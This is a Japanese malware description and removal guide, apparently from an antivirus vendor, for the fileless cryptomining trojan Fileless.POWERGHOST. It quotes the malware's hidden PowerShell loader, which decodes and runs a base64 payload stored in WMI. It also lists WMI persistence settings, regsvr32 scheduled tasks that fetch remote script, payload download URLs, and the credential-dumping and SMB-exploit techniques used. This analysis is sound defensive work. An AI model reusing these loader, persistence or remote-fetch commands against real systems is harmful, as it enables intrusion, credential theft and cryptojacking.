Fileless.POWERGHOST
ファイルを利用しないマルウェア
Windows
マルウェアタイプ:
トロイの木馬型
破壊活動の有無:
なし
暗号化:
感染報告の有無 :
はい
概要
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
マルウェアは、ソフトウェアに存在する脆弱性を利用して、ネットワーク上で感染活動をします。
マルウェアは、特定の脆弱性を利用した感染活動を実行します。
詳細
侵入方法
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
インストール
マルウェアは、以下のプロセスを追加します。
- powershell -NoP -NonI -W Hidden `"`$mon = ([WmiClass] 'root\default:Window_Core_Flush_Cach').Properties['mon'].Value;`$funs = ([WmiClass] 'root\default:Window_Core_Flush_Cach').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(`$funs)));Invoke-Command -ScriptBlock `$RemoteScriptBlock -ArgumentList @(`$mon, `$mon, 'Void', 0, '', '')`
自動実行方法
マルウェアは、以下のサービスを開始します。
- RpcSs
- RpcLocator
- RemoteRegistry
- RpcEptMapper
- Winmgmt
- WinRM
感染活動
マルウェアは、以下のソフトウェアに存在する脆弱性を利用して、ネットワーク上で感染活動をします。
プロセスの終了
マルウェアは、感染コンピュータ上で以下のプロセスが常駐されていることを確認した場合、そのプロセスを終了します。
- Powershell processes with an established TCP connection via port 80, or 14444
- Any processes with established connection to ports 3333, 5555, or 7777
ダウンロード活動
マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。
- http://{BLOCKED}.{BLOCKED}.43.54:443/v9/windowsupdate/redir/muv4wuredir.cab?148619742
- http://{URL}/vercheck.ps1
- http://{URL}/w/cohernece.txt
- http://{URL}/w/logos.png
- http://{URL}/w/ver.txt
- http://{URL}/w/antivirus.ps1
- http://{URL}/shell (for Unix platforms)
where {URL} can be any of the following:- owa.{BLOCKED}g.com
- box.{BLOCKED}g.com
マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。
- %User Temp%\{random characters}.exe → TrojanSpy.Win32.BLUTEAL.D
- %User Temp%\java-log-9527.log → contains shellcode
- /tmp/coreupdtes (for Unix platforms) → contains script to download and execute a cryptominer
情報漏えい
マルウェアは、以下の情報を収集します。
- User Credentials
- OS Version
- Computer Name
- Domain Name
その他
マルウェアは、以下を実行します。
- It creates IPSec Firewall Policy
- Name: netbc
- Function: Blocks tcp connections to infected machine via port 445 (SMB)
- It is capable of propagating in the local network via the following means:
- SMB Exploit (MS17-010)
- MSSQL and SSH Brute-Forcing
- Dumping Windows Domain Credentials using any of the following techniques/tools
- Mimikatz
- Pass-The-Hash
- It creates the following WMI Class under ROOT\default:
- Window_Core_Flush_Cach
- WMI objects:
- mimi - Mimikatz scripts
- mon - Monero cryptominer
- funs - Powershell Empire modules used for propagation or lateral movement
- ipsu - List of IP addresses vulnerable for propagation
- i17 - List of IP addresses vulnerable for SMB exploit
- ver - PowerGhost version
- sc - Shellcode
- WMI objects:
- Window_Core_Flush_Cach
- It creates the following WMI Classes under ROOT\subscription to achieve persistence in the system:
- CommandLineEventConsumer
- Name: Systems Manage Consumer
- Command: powershell.exe -NoP -NonI -W Hidden -E {base64 encoded command}
- __EventFilter
- Name: Systems Manage Filter
- __FilterToConsumerBinding
- CommandLineEventConsumer
- It modifies power configuration settings using the following commands:
- powercfg /CHANGE -standby-timeout-ac 0 (Standby timeout set to 0 minutes)
- powercfg /CHANGE -hibernate-timeout-ac 0 (Hibernate timeout set to 0 minutes)
- powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000 (Power buttons and lid close action set to do nothing)
マルウェアは、以下の脆弱性を利用して感染活動を実行します。
以下のスケジュールされたタスクを追加します:
- Take name: SystemFlushDns
Schedule: Every 24 hours
Task to be run: regsvr32 /u /s /i:http://{URL}/antivirus.php scrobj.dll - Task name: Microsoft Assist Job
Schedule: Every 20 minutes
Task to be run: regsvr32 /u /s /i:http://{URL}/antivirus.php scrobj.dll
where {URL} can be any of the following:- owa.conf1g.com
- box.conf1g.com
対応方法
手順 1
Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。
手順 2
このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。
手順 3
Windowsをセーフモードで再起動します。
手順 4
スケジュールされたタスクを削除する
タスク削除の手順に含まれる{タスク名} - {実行するタスク}には以下が当てはまります。
- SystemFlushDns - “regsvr32 /u /s /i:http://{URL}/antivirus.php scrobj.dll”
- Microsoft Assist Job - “regsvr32 /u /s /i:http://{URL}/antivirus.php scrobj.dll”
Windows 2000、Windows XP、Windows Server 2003の場合:
- [スタート]→[プログラム]→[アクセサリ]→[システムツール]→[スケジュールされたタスク]をクリックして、スケジュールされたタスクを開きます。
- 上記の{タスク名} を、[名前]の欄に入力します。
- 入力した{タスク名} 持つファイルを右クリックします。
- [プロパティ]をクリックします。 [実行]フィールドで、表示されている{実行するタスク}を確認します。
- 上記の{実行するタスク}と文字列が一致するタスクを削除します。
Windows Vista、Windows 7、Windows Server 2008、Windows 8、Windows 8.1、およびWindows Server 2012の場合:
- Windowsタスクスケジューラを開きます。
• Windows Vista、Windows 7、Windows Server 2008の場合、[スタート]をクリックし、[検索]フィールドに「taskchd.msc」と入力してEnterキーを押します。
• Windows 8、Windows 8.1、Windows Server 2012の場合、画面の左下隅を右クリックし、[実行]をクリックし、「taskchd.msc」と入力してEnterキーを押します。 - 左側のパネルで、[タスクスケジューラライブラリ]をクリックします。
- 中央上部のパネルで、上記の{タスク名}を[名前]の欄に入力します。
- 中央下部のパネルで、[アクション]タブをクリックします。 [詳細]の欄で、{実行するタスク}を確認します。
- 文字列が一致するタスクを削除します。
手順 5
コンピュータを通常モードで再起動し、最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、「Fileless.POWERGHOST」と検出したファイルの検索を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
手順 6
最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Fileless.POWERGHOST」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
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